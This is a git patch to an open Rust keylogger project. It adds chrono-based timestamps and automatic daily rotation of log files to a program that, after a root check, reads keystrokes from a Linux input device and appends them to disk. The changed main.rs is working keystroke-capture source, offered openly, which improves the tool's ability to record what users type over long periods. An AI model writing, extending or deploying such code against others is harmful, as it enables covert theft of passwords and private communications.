From e8160575a334b6aef7d7bf43af70b372c722514d Mon Sep 17 00:00:00 2001 From: XX Date: Mon, 30 Jul 2018 19:22:30 +0300 Subject: [PATCH] Datetime formatting --- Cargo.lock | 40 +++++++++++++++++++++++++++++++++++- Cargo.toml | 8 ++++++-- src/main.rs | 59 ++++++++++++++++++++++++++++++++++++++--------------- 3 files changed, 88 insertions(+), 19 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index bd79943..388a1f9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -21,6 +21,16 @@ name = "cfg-if" version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" +[[package]] +name = "chrono" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "num-integer 0.1.39 (registry+https://github.com/rust-lang/crates.io-index)", + "num-traits 0.2.5 (registry+https://github.com/rust-lang/crates.io-index)", + "time 0.1.40 (registry+https://github.com/rust-lang/crates.io-index)", +] + [[package]] name = "env_logger" version = "0.5.11" @@ -51,8 +61,9 @@ dependencies = [ [[package]] name = "keylogger" -version = "0.0.1" +version = "0.1.0" dependencies = [ + "chrono 0.4.5 (registry+https://github.com/rust-lang/crates.io-index)", "env_logger 0.5.11 (registry+https://github.com/rust-lang/crates.io-index)", "getopts 0.2.18 (registry+https://github.com/rust-lang/crates.io-index)", "libc 0.2.42 (registry+https://github.com/rust-lang/crates.io-index)", @@ -85,6 +96,19 @@ dependencies = [ "libc 0.2.42 (registry+https://github.com/rust-lang/crates.io-index)", ] +[[package]] +name = "num-integer" +version = "0.1.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "num-traits 0.2.5 (registry+https://github.com/rust-lang/crates.io-index)", +] + +[[package]] +name = "num-traits" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" + [[package]] name = "quick-error" version = "1.2.2" @@ -150,6 +174,16 @@ dependencies = [ "unreachable 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)", ] +[[package]] +name = "time" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +dependencies = [ + "libc 0.2.42 (registry+https://github.com/rust-lang/crates.io-index)", + "redox_syscall 0.1.40 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi 0.3.5 (registry+https://github.com/rust-lang/crates.io-index)", +] + [[package]] name = "ucd-util" version = "0.1.1" @@ -209,6 +243,7 @@ dependencies = [ "checksum aho-corasick 0.6.6 (registry+https://github.com/rust-lang/crates.io-index)" = "c1c6d463cbe7ed28720b5b489e7c083eeb8f90d08be2a0d6bb9e1ffea9ce1afa" "checksum atty 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)" = "9a7d5b8723950951411ee34d271d99dddcc2035a16ab25310ea2c8cfd4369652" "checksum cfg-if 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)" = "efe5c877e17a9c717a0bf3613b2709f723202c4e4675cc8f12926ded29bcb17e" +"checksum chrono 0.4.5 (registry+https://github.com/rust-lang/crates.io-index)" = "e48d85528df61dc964aa43c5f6ca681a19cfa74939b2348d204bd08a981f2fb0" "checksum env_logger 0.5.11 (registry+https://github.com/rust-lang/crates.io-index)" = "7873e292d20e8778f951278972596b3df36ac72a65c5b406f6d4961070a870c1" "checksum getopts 0.2.18 (registry+https://github.com/rust-lang/crates.io-index)" = "0a7292d30132fb5424b354f5dc02512a86e4c516fe544bb7a25e7f266951b797" "checksum humantime 1.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "0484fda3e7007f2a4a0d9c3a703ca38c71c54c55602ce4660c419fd32e188c9e" @@ -216,6 +251,8 @@ dependencies = [ "checksum libc 0.2.42 (registry+https://github.com/rust-lang/crates.io-index)" = "b685088df2b950fccadf07a7187c8ef846a959c142338a48f9dc0b94517eb5f1" "checksum log 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "61bd98ae7f7b754bc53dca7d44b604f733c6bba044ea6f41bc8d89272d8161d2" "checksum memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "796fba70e76612589ed2ce7f45282f5af869e0fdd7cc6199fa1aa1f1d591ba9d" +"checksum num-integer 0.1.39 (registry+https://github.com/rust-lang/crates.io-index)" = "e83d528d2677f0518c570baf2b7abdcf0cd2d248860b68507bdcb3e91d4c0cea" +"checksum num-traits 0.2.5 (registry+https://github.com/rust-lang/crates.io-index)" = "630de1ef5cc79d0cdd78b7e33b81f083cbfe90de0f4b2b2f07f905867c70e9fe" "checksum quick-error 1.2.2 (registry+https://github.com/rust-lang/crates.io-index)" = "9274b940887ce9addde99c4eee6b5c44cc494b182b97e73dc8ffdcb3397fd3f0" "checksum redox_syscall 0.1.40 (registry+https://github.com/rust-lang/crates.io-index)" = "c214e91d3ecf43e9a4e41e578973adeb14b474f2bee858742d127af75a0112b1" "checksum redox_termios 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "7e891cfe48e9100a70a3b6eb652fef28920c117d366339687bd5576160db0f76" @@ -224,6 +261,7 @@ dependencies = [ "checksum termcolor 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "722426c4a0539da2c4ffd9b419d90ad540b4cff4a053be9069c908d4d07e2836" "checksum termion 1.5.1 (registry+https://github.com/rust-lang/crates.io-index)" = "689a3bdfaab439fd92bc87df5c4c78417d3cbe537487274e9b0b2dce76e92096" "checksum thread_local 0.3.5 (registry+https://github.com/rust-lang/crates.io-index)" = "279ef31c19ededf577bfd12dfae728040a21f635b06a24cd670ff510edd38963" +"checksum time 0.1.40 (registry+https://github.com/rust-lang/crates.io-index)" = "d825be0eb33fda1a7e68012d51e9c7f451dc1a69391e7fdc197060bb8c56667b" "checksum ucd-util 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "fd2be2d6639d0f8fe6cdda291ad456e23629558d466e2789d2c3e9892bda285d" "checksum unicode-width 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)" = "882386231c45df4700b275c7ff55b6f3698780a650026380e72dabe76fa46526" "checksum unreachable 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "382810877fe448991dfc7f0dd6e3ae5d58088fd0ea5e35189655f84e6814fa56" diff --git a/Cargo.toml b/Cargo.toml index 8816891..f9d8d21 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,10 +1,14 @@ [package] name = "keylogger" -version = "0.0.1" -authors = ["Gulshan Singh "] +version = "0.1.0" +authors = [ + "Gulshan Singh ", + "Alexander Mescheryakov " +] [dependencies] getopts = "0.2" libc = "0.2" env_logger = "0.5" log = "0.4" +chrono = "0.4" diff --git a/src/main.rs b/src/main.rs index 0f71c6c..82b80e4 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,31 +1,31 @@ extern crate getopts; extern crate env_logger; extern crate libc; - +extern crate chrono; #[macro_use] extern crate log; mod input; -use input::{is_key_event, is_key_press, is_key_release, is_shift, get_key_text, InputEvent}; - use std::process::{exit, Command}; use std::fs::{File, OpenOptions}; use std::io::{Read, Write}; +use std::path::Path; use std::{env, mem}; - use getopts::Options; +use chrono::{NaiveDateTime, DateTime, Datelike, Timelike, Local, Utc}; +use input::{is_key_event, is_key_press, is_key_release, is_shift, get_key_text, InputEvent}; const VERSION: &'static str = env!("CARGO_PKG_VERSION"); #[derive(Debug)] struct Config { device_file: String, - log_file: String + log_file: Option } impl Config { - fn new(device_file: String, log_file: String) -> Self { + fn new(device_file: String, log_file: Option) -> Self { Config { device_file, log_file @@ -41,12 +41,12 @@ fn main() { let config = parse_args(); debug!("Config: {:?}", config); - let mut log_file = OpenOptions::new() - .create(true) - .write(true) - .append(true) - .open(config.log_file) - .expect("Can't open log file"); + let log_name = log_name_from(&Local::now()); + let mut log_file = if let Some(ref name) = config.log_file { + open_log_file(name) + } else { + open_log_file(&log_name) + }; let mut device_file = File::open(&config.device_file) .expect("Can't open device file"); @@ -78,13 +78,22 @@ fn main() { continue; }; + let datetime = convert_time(event.tv_sec, event.tv_usec); + let time = datetime.hour() * 60 * 60 * 1000 + datetime.minute() * 60 * 1000 + datetime.second() * 1000 + datetime.nanosecond() / 1_000_000; let text = format!( - "{}.{} {} {}\n", - event.tv_sec, event.tv_usec, event_mark, get_key_text(event.code, shift_pressed) + "{:08} {} {}\n", + time, event_mark, get_key_text(event.code, shift_pressed) ); + + if config.log_file.is_none() { + let current_log_name = log_name_from(&datetime); + if log_name != current_log_name { + log_file = open_log_file(current_log_name); + } + } + let num_bytes = log_file.write(text.as_bytes()) .expect("Can't write to log file"); - if num_bytes != text.len() { panic!("Error while writing to log file"); } @@ -92,6 +101,15 @@ fn main() { } } +fn open_log_file>(name: P) -> File { + OpenOptions::new() + .create(true) + .write(true) + .append(true) + .open(name) + .expect("Can't open log file") +} + fn root_check() { let euid = unsafe { libc::geteuid() }; if euid != 0 { @@ -99,6 +117,15 @@ fn root_check() { } } +fn log_name_from(datetime: &DateTime) -> String { + format!("{:04}-{:02}-{:02}.log", datetime.year(), datetime.month(), datetime.day()) +} + +fn convert_time(secs: isize, micros: isize) -> DateTime { + let naive_datetime = NaiveDateTime::from_timestamp(secs as i64, micros as u32 * 1000); + DateTime::::from_utc(naive_datetime, Utc).with_timezone(&Local) +} + fn parse_args() -> Config { fn print_usage(program: &str, opts: Options) { let brief = format!("Usage: {} [options]", program); @@ -126,7 +153,7 @@ fn parse_args() -> Config { } let device_file = matches.opt_str("d").unwrap_or_else(|| get_default_device()); - let log_file = matches.opt_str("f").unwrap_or("keys.log".to_string()); + let log_file = matches.opt_str("f"); Config::new(device_file, log_file) }